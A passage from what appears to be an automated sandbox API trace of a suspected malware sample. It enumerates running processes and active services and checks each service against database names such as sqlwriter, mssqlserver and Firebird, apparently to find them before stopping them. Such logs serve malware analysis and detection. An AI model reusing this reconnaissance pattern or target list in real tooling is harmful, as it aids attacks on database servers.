lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.376] lstrlenW (lpString="svchost.exe") returned 11 [0211.376] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0211.377] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0211.377] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0211.378] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0211.378] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.379] lstrlenW (lpString="svchost.exe") returned 11 [0211.379] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0211.380] lstrlenW (lpString="dwm.exe") returned 7 [0211.380] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.381] lstrlenW (lpString="svchost.exe") returned 11 [0211.381] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.382] lstrlenW (lpString="svchost.exe") returned 11 [0211.382] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.383] lstrlenW (lpString="svchost.exe") returned 11 [0211.383] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.384] lstrlenW (lpString="svchost.exe") returned 11 [0211.384] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.385] lstrlenW (lpString="svchost.exe") returned 11 [0211.385] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.386] lstrlenW (lpString="svchost.exe") returned 11 [0211.386] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.387] lstrlenW (lpString="svchost.exe") returned 11 [0211.387] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.388] lstrlenW (lpString="svchost.exe") returned 11 [0211.388] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.389] lstrlenW (lpString="svchost.exe") returned 11 [0211.389] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0211.390] lstrlenW (lpString="spoolsv.exe") returned 11 [0211.390] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.391] lstrlenW (lpString="svchost.exe") returned 11 [0211.391] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.392] lstrlenW (lpString="svchost.exe") returned 11 [0211.392] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0211.393] lstrlenW (lpString="audiodg.exe") returned 11 [0211.393] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0211.394] lstrlenW (lpString="sihost.exe") returned 10 [0211.394] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.395] lstrlenW (lpString="svchost.exe") returned 11 [0211.395] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0211.396] lstrlenW (lpString="taskhostw.exe") returned 13 [0211.396] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0211.397] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0211.397] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0211.398] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0211.398] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0211.417] lstrlenW (lpString="explorer.exe") returned 12 [0211.417] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0211.418] lstrlenW (lpString="Memory Compression") returned 18 [0211.418] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0211.419] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0211.419] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0211.420] lstrlenW (lpString="SearchUI.exe") returned 12 [0211.420] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0211.421] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0211.421] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0211.422] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0211.422] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0211.423] lstrlenW (lpString="entering.exe") returned 12 [0211.423] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0211.424] lstrlenW (lpString="literally.exe") returned 13 [0211.424] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="prep.exe")) returned 1 [0211.425] lstrlenW (lpString="prep.exe") returned 8 [0211.425] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="homeless.exe")) returned 1 [0211.426] lstrlenW (lpString="homeless.exe") returned 12 [0211.426] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tips.exe")) returned 1 [0211.427] lstrlenW (lpString="tips.exe") returned 8 [0211.427] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rhode_cow.exe")) returned 1 [0211.428] lstrlenW (lpString="rhode_cow.exe") returned 13 [0211.428] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="discount.exe")) returned 1 [0211.429] lstrlenW (lpString="discount.exe") returned 12 [0211.429] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="littleclosest.exe")) returned 1 [0211.430] lstrlenW (lpString="littleclosest.exe") returned 17 [0211.430] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compact.exe")) returned 1 [0211.431] lstrlenW (lpString="compact.exe") returned 11 [0211.431] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="transmission-inclusion.exe")) returned 1 [0211.432] lstrlenW (lpString="transmission-inclusion.exe") returned 26 [0211.432] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mcdonald-drugs-employers.exe")) returned 1 [0211.433] lstrlenW (lpString="mcdonald-drugs-employers.exe") returned 28 [0211.433] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="harris promoting wow.exe")) returned 1 [0211.434] lstrlenW (lpString="harris promoting wow.exe") returned 24 [0211.434] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="vincentkills.exe")) returned 1 [0211.435] lstrlenW (lpString="vincentkills.exe") returned 16 [0211.435] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrong.exe")) returned 1 [0211.436] lstrlenW (lpString="armstrong.exe") returned 13 [0211.436] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="superb_guilty.exe")) returned 1 [0211.437] lstrlenW (lpString="superb_guilty.exe") returned 17 [0211.437] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditional employer.exe")) returned 1 [0211.438] lstrlenW (lpString="conditional employer.exe") returned 24 [0211.438] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middle shown.exe")) returned 1 [0211.439] lstrlenW (lpString="middle shown.exe") returned 16 [0211.439] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forced_online.exe")) returned 1 [0211.440] lstrlenW (lpString="forced_online.exe") returned 17 [0211.440] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="knitting.exe")) returned 1 [0211.441] lstrlenW (lpString="knitting.exe") returned 12 [0211.441] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_rankings_maternity.exe")) returned 1 [0211.442] lstrlenW (lpString="counting_rankings_maternity.exe") returned 31 [0211.442] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephony_assumption_pharmacies.exe")) returned 1 [0211.443] lstrlenW (lpString="telephony_assumption_pharmacies.exe") returned 35 [0211.443] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance inns helpful.exe")) returned 1 [0211.444] lstrlenW (lpString="guidance inns helpful.exe") returned 25 [0211.444] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.445] lstrlenW (lpString="svchost.exe") returned 11 [0211.445] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0211.446] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0211.447] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0211.448] lstrlenW (lpString="conhost.exe") returned 11 [0211.448] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0211.449] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0211.449] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0211.450] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0211.450] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0211.451] lstrlenW (lpString="WMIADAP.exe") returned 11 [0211.451] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xb04, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0211.452] lstrlenW (lpString="11.exe") returned 6 [0211.452] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0211.453] lstrlenW (lpString="cmd.exe") returned 7 [0211.453] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0211.472] lstrlenW (lpString="conhost.exe") returned 11 [0211.472] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0211.473] CloseHandle (hObject=0x368) returned 1 [0211.473] Sleep (dwMilliseconds=0x1f4) [0211.991] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x889b38 [0211.991] EnumServicesStatusExW (in: hSCManager=0x889b38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0 [0211.991] GetLastError () returned 0xea [0211.991] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1e4a) returned 0x801a48 [0211.991] EnumServicesStatusExW (in: hSCManager=0x889b38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x801a48, cbBufSize=0x1e4a, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x801a48, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1 [0211.992] CloseServiceHandle (hSCObject=0x889b38) returned 1 [0211.992] lstrlenW (lpString="Appinfo") returned 7 [0211.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0211.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0211.992] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0211.992] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0211.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0211.992] lstrlenW (lpString="AppXSvc") returned 7 [0211.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0211.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0211.992] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0211.992] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0211.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0211.992] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0211.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0211.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0211.992] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0211.993] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0211.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0211.993] lstrlenW (lpString="Audiosrv") returned 8 [0211.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0211.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0211.993] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0211.993] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0211.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0211.993] lstrlenW (lpString="BFE") returned 3 [0211.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0211.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0211.993] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0211.993] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0211.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0211.993] lstrlenW (lpString="BITS") returned 4 [0211.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0211.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 